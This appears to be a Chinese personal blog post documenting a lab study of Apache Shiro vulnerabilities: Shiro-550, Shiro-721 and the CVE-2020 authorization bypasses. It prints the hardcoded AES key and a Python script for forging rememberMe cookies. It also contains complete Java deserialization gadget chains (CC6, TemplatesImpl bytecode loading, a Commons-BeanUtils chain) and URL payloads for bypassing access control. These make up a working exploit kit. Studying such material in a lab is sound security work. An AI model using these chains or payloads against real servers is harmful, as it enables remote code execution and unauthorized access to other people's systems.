Shiro介绍

直接问kimi给出的大致介绍

Apache Shiro是一个强大且易于使用的Java安全框架,提供了认证、授权、加密和会话管理等功能。它被设计为易于理解且易于使用,同时提供了强大的安全性。以下是Shiro的一些关键特性:

  1. 认证(Authentication):Shiro提供了多种认证方式,包括用户名和密码、OAuth、LDAP等。
  2. 授权(Authorization):Shiro允许你定义权限和角色,并根据这些定义来控制用户对资源的访问。
  3. 加密(Cryptography):Shiro提供了一套加密工具,可以用于安全地存储和传输数据。
  4. 会话管理(Session Management):Shiro可以管理Web和非Web环境中的会话。
  5. Web支持:Shiro提供了对Web应用的内置支持,可以轻松集成到Servlet、JSP等Web技术中。
  6. 缓存(Caching):Shiro内置了缓存机制,可以提高认证和授权过程的性能。
  7. 企业级安全:Shiro的设计考虑了企业级应用的需求,提供了灵活的安全策略和集成点。
  8. 易于集成:Shiro可以轻松集成到现有的Java应用中,无论是大型企业应用还是小型项目。
  9. 可扩展性:Shiro的架构允许开发者根据需要扩展其功能,例如自定义认证和授权策略。
  10. 社区支持:作为Apache软件基金会的一部分,Shiro拥有活跃的社区和持续的更新。

Shrio环境搭建

可以直接从github上面将代码clone到本地:https://github.com/apache/shiro

然后切换回1.2.4的版本,该版本就是shiro550的漏洞

git clone git@github.com:apache/shiro.git
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

image-20240611233305207

然后配置Tomcat服务器将环境跑起来即可,记得添加一个samples_web_war工件

image-20240611233723956

image-20240611233734929

环境搭建和漏洞分析都可以参考这篇文章:Shiro反序列化漏洞笔记一(原理篇) (changxia3.com)

怪了过两天这环境突然就出错了

emmm这里可能需要配置一下tomcat/conf/server.xml文件,不然会报错

image-20240613235256764

参考这篇文章https://blog.csdn.net/seeeeeeeeeee/article/details/124724396

<Connector port="8088" protocol="HTTP/1.1"
URIEncoding="UTF-8"
connectionTimeout="20000"
redirectPort="8443"
maxParameterCount="1000"
relaxedPathChars="|{}[],_%"
relaxedQueryChars="|{}[],_%"
/>

说是新版tomcat请求不允许一些特殊字符,这里就放行一些特殊字符,但改了之后谷歌还是不行,edge改成http就可以了

后来找了半天找一个方法终于能解决了:https://blog.csdn.net/qq_69576997/article/details/136731424

谷歌浏览器url输入:chrome://net-internals/#hsts

edge浏览器url输入:edge://net-internals/#hsts

然后在最后一行的Delete domain security policies中输入localhost,点击delete,然后重启tomcat就可以了

image-20240614132940906

麻了这些环境配置。。。

Shiro550漏洞

Shiro550的漏洞是因为其存在固定key加密的原因

利用版本:shiro<=1.2.4

寻找固定key

我们这里从源码入手找到其固定key

Shiro在登陆是勾选了rememberMe选项就会设置一个rememberMe的cookie

image-20240611234659707

image-20240611234718498

且解码的流程就是base64解码=》AES解密=》反序列化

我们可以直接去源码搜索对应的函数,可以全局搜索一下Cookie关键字

可以找到一个CookieRememberMeManger函数,这名字就很明显了

image-20240612000131474

然后里面有对cookie处理的很多函数,我们可以找到一个序列化和反序列化之类相关的方法,这里先找一个反序列化相关的函数,然后往上寻找调用链,找到他的固定key

image-20240613221027529

这里就是获取序列化内容反序列化,然后base64解码,返回的对应AES加密的内容

往上找调用方法

image-20240613221343146

这里进行了convert转换了一下,这里函数再往上找已经是一些校验相关的功能了,那就是这个函数已经完成了解密,跟进去函数看看

image-20240613221819479

果然,里面进行了解密,然后再进行反序列化之后返回

从其中的函数功能最终跟踪下去可以在AbstractRememberMeManager这个类的构造方法找到固定key的赋值

image-20240612001639914

image-20240612001655002

可以知道其密钥是固定字符串的base64解码得到

知道了固定密钥之后构造对应的rememberMe字符串就很简单了,AES加密的脚本可以网上找一下

打cc链

一般shiro都会有cc的包

image-20240612001947670

但是不一定可以打,我们可以用插件分析一下依赖关系

image-20240612002101256

被标了test的运行时都不会被编译,所以一般线上的时候都是打不通的,不过这里的原因是没有代码去使用这个依赖,没有import它。

这里原生shiro没有自带cc依赖

这里加一个3.2.1的版本

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

AES加密的脚本

网上找的一个脚本:https://xz.aliyun.com/t/12702?time__1311=mqmhDvox8FGNDQtiQGkI50Qc30Ki%3DsF54D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-1

import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64encode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key),mode,iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

这个Crypto库有点坑,第一次用,记录一下

先安装下面这个库

pip3 install pycryptodome

然后需要去c:\users\86189\appdata\local\programs\python\python37\lib\site-packages路径下将一个crypto的文件夹的c改成大写的C即可

固定密钥

kPH+bIxk5D2deZiIxcaaaA==

我们可以先打一个cc6的链子试一试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6_demo1 {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map=new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//这里先随便赋一个值后面改回来

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");//这里待会调用的时候会在mpa新增加一个键值对aaa
Map<Object,Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");
Class lazyMapClass = LazyMap.class;
Field trans=lazyMapClass.getDeclaredField("factory");
trans.setAccessible(true);
trans.set(lazyMap,chainedTransformer);//这里改回来chainedTransformer
map.remove("aaa");//移除掉我们新增的键值

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

然后将生成的ser.bin文件进行aes加密后再base64进行传参

这里我一开始试了一下用cyberchef来加密发现不行,还是得用上面的脚本

先看一下正常的:

image-20240614215924819

打了cc6的:

image-20240614220816682

这里就是没登录上去是正常的,后端开启debug去看一下,这时候应该是有报错的

image-20240614232811726

这里是反序列化抛了异常,说是无法加载invokerTransformer,就是由于shiro无法处理数组导致的,后面再说,比较复杂

但是这里报错的又不太对啊,他是cc的全部类都无法加载,太怪了

所以这里我们就需要改一下链子,改成不用chainedTransformer数组的形式,也就是拼一下链子就好,然后最后要改成动态类加载执行任意代码的方式

这里使用cc2+cc6+cc3的方式进行拼接

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_ccDemo1 {
public static void main(String[] args) throws Exception{
//cc3
TemplatesImpl templates = new TemplatesImpl();
//利用反射设置需要满足的值
Class c=templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D:\\code\\cc_chain\\src\\main\\java\\com.proxy\\Test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//cc2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//cc6
Map<Object,Object> map=new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//这里先随便赋一个值后面改回来

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);//这里要添加进去templates
Map<Object,Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");
Class lazyMapClass = LazyMap.class;
Field trans=lazyMapClass.getDeclaredField("factory");
trans.setAccessible(true);
trans.set(lazyMap,invokerTransformer);//这里改回来chainedTransformer
map.remove(templates);//移除掉我们新增的键值

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

服了这里也没打通,后台直接报错TiedMapEntry都无法加载

后来我用了p神的环境就能打通了,估计还是cc依赖运行时没有被编译进去

这是p神的环境:https://github.com/phith0n/JavaThings/tree/master/shirodemo

image-20240615104853896

打的时候要去掉JSESSIONID

打CB链

CB链打的是shiro自带的依赖:commons-beanutils(就是对javabean的增强类),这里注意一下版本是1.8.3的,本地写exp的时候记得版本也要一致,不然会打不通

下面是一个简单的javaBean的例子

import org.apache.commons.beanutils.PropertyUtils;

public class shiro_CBDemo1 {
public static void main(String[] args) throws Exception{
Person person = new Person(10,"aa");
System.out.println(PropertyUtils.getProperty(person, "age"));

}
}

这里我们可以不需要再去调用get方法来获取属性值,而是直接用PropertyUtils的静态方法来获取

然后在这处理的过程中就存在反序列化的点,就直接说了反序列化的点就是会调用javaBean的get方法,比如上面的age就会调用getAge方法

我们可以调试跟进去看一下我们传入了name为”age”之后发生了什么

一路跟进下去,会在一个getSimpleProperty的方法里面获取到javaBean的各种方法,然后会把我们传进去的名字从小写改成大写

而且我们这里不传大写的属性名进去,不然会报错

image-20240615093151593

再往下两行,他就获取了读取属性的get方法,然后进行函数调用,获取了age的值

image-20240615093518572

我们传进去的javaBean最终就会变成我们指定的属性的值然后返回

image-20240615093640915

image-20240615093725798

这里其中存在的利用点就是这个get方法的调用

TemplatesImpl

这里就跟我们动态类加载任意代码的这个类有关

它里面有一个getOutputProperties()的方法,这个方法的就很符合javaBean的方式,最重要的是它里面还调用了newTransformer这个方法

image-20240615094412956

所以我们只需要传一个outputProperties的名字进去就可以调用这个方法,记得这里一定要是小写的形式

BeanComparator

接下来就是从ProperUtils往上找看谁调用了他的getProperty方法

这里就找到BeanComparator的compare方法

image-20240615094845997

看一下他的构造方法

image-20240615095155801

这里也提前说一下,我们需要调用下面的构造方法,而不能调用上面的,因为上面的ComparableComparator是属于Commoms-Collections里面的方法,而shiro自带是没有这个的,我们打了就会报错

所以这里comparator我们就需要赋值一个java本身就有的而且是继承了序列化接口的类,这里直接用组长视频里面用的那个AttrCompare

PriorityQueue

见到这个compare就很熟悉了,我们的cc2和cc4里面就是利用了PriorityQueue的readObject方法,然后里面调用compare方法的,那链子就基本串起来了

现在可以来写一个exp

package com.cc_chain.shiro_cb;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class shiro_CBDemo1 {
public static void main(String[] args) throws Exception{
// Person person = new Person(10,"aa");
// System.out.println(PropertyUtils.getProperty(person, "age"));
//cc3
TemplatesImpl templates = new TemplatesImpl();
//利用反射设置需要满足的值
Class c=templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D:\\code\\cc_chain\\src\\main\\java\\com.proxy\\Test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
//cc2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));//先传一个没用东西阻断链子执行
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
//这里的size要满足要求才能触发调用链执行,这里需要改用添加元素才行,因为我们的templates还没有加入进去
priorityQueue.add(templates);
priorityQueue.add(2);

//然后反射修改回来priorityQueue的值
Class p=PriorityQueue.class;
Field comparator = p.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);


serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

这里用了比较懒的改法,直接借用了一下cc4这个类,主要是为了序列化能成功,本地测试无所谓,其他改法调了半天都报错懒得调了。。。

image-20240615103205401

打一下shiro看看效果

image-20240615103608867

可以成功打通

注意这里如果用ysoserial生成的payload打是打不通的,因为他的CB版本和shiro的不一样

这里用的官方环境没有删掉JSESSIONID竟然也通了(

CB链调用图

image-20240615001956606

Shiro721

Shiro721和550的区别:

Shiro550只需要通过碰撞key,爆破出来密钥,就可以进行利用

Shiro721的ase加密的key一般情况下猜不到,是系统随机生成的,并且当存在有效的用户信息时才会进入下一阶段的流程所以我们需要使用登录后的rememberMe Cookie,才可以进行下一步攻击。

漏洞成因

在Shiro721中,Shiro通过AES-128-CBC对cookie中的rememberMe字段进行加密,所以用户可以通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,进行反序列化攻击,需要执行的命令越复杂,生成payload需要的时间就越长。

作为web手还特地去学了一下分组密码,PaddingOracleAttack攻击方式这里就不说原理了,自己去学一下就好了

影响版本

1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

利用流程

因为721只是密钥不知道了,但是打进去之后利用方式是一样的,这里用工具来打了直接。

工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

721的利用需要我们先能够注册一个用户,获取一个合法的RememberMe字段值

image-20241210231344048

然后保留rememberMe到工具开始一把梭

image-20241210231554108

image-20241210231800952

我们可以在后台服务中看到报错日志如下:

image-20241210231907739

可以看到他就是在尝试padding

现在我们等待即可

image-20241210231939074

就是吧这个等待的时间吧有点久了属实是。。。

shiro权限绕过

这里记录一下各个payload,因为挺简单的就不再水一篇文章了。

其实更准确的说是spring下的shiro权限绕过,因为主要的原因就在于shiro和spring处理url的不一致导致的。

具体原理可以看看这篇文章的分析:https://cangqingzhe.github.io/2021/08/26/shiro%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

受影响版本

Apache Shiro <1.5.2

CVE-2020-1957
客户端请求URL: /xxx/..;/admin/
Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

CVE-2020-11989
客户端请求URL: /;/test/admin/page
Shrio 内部处理得到校验URL为/,校验通过
SpringBoot最终请求 /admin/page, 成功访问了后台请求。

CVE-2020-13933
客户端请求URL:/admin/;page
Shrio 内部处理得到校验URL为/admin/,校验通过
SpringBoot最终请求 /admin/;page, 成功访问了后台请求。

这个权限绕过的利用思路可以学一下:https://xz.aliyun.com/t/9249?time__1311=n4%2BxnD0DuAG%3DU%2BDBqooGk7DCDg0cDcnCEEOoD

参考

https://www.freebuf.com/articles/web/380382.html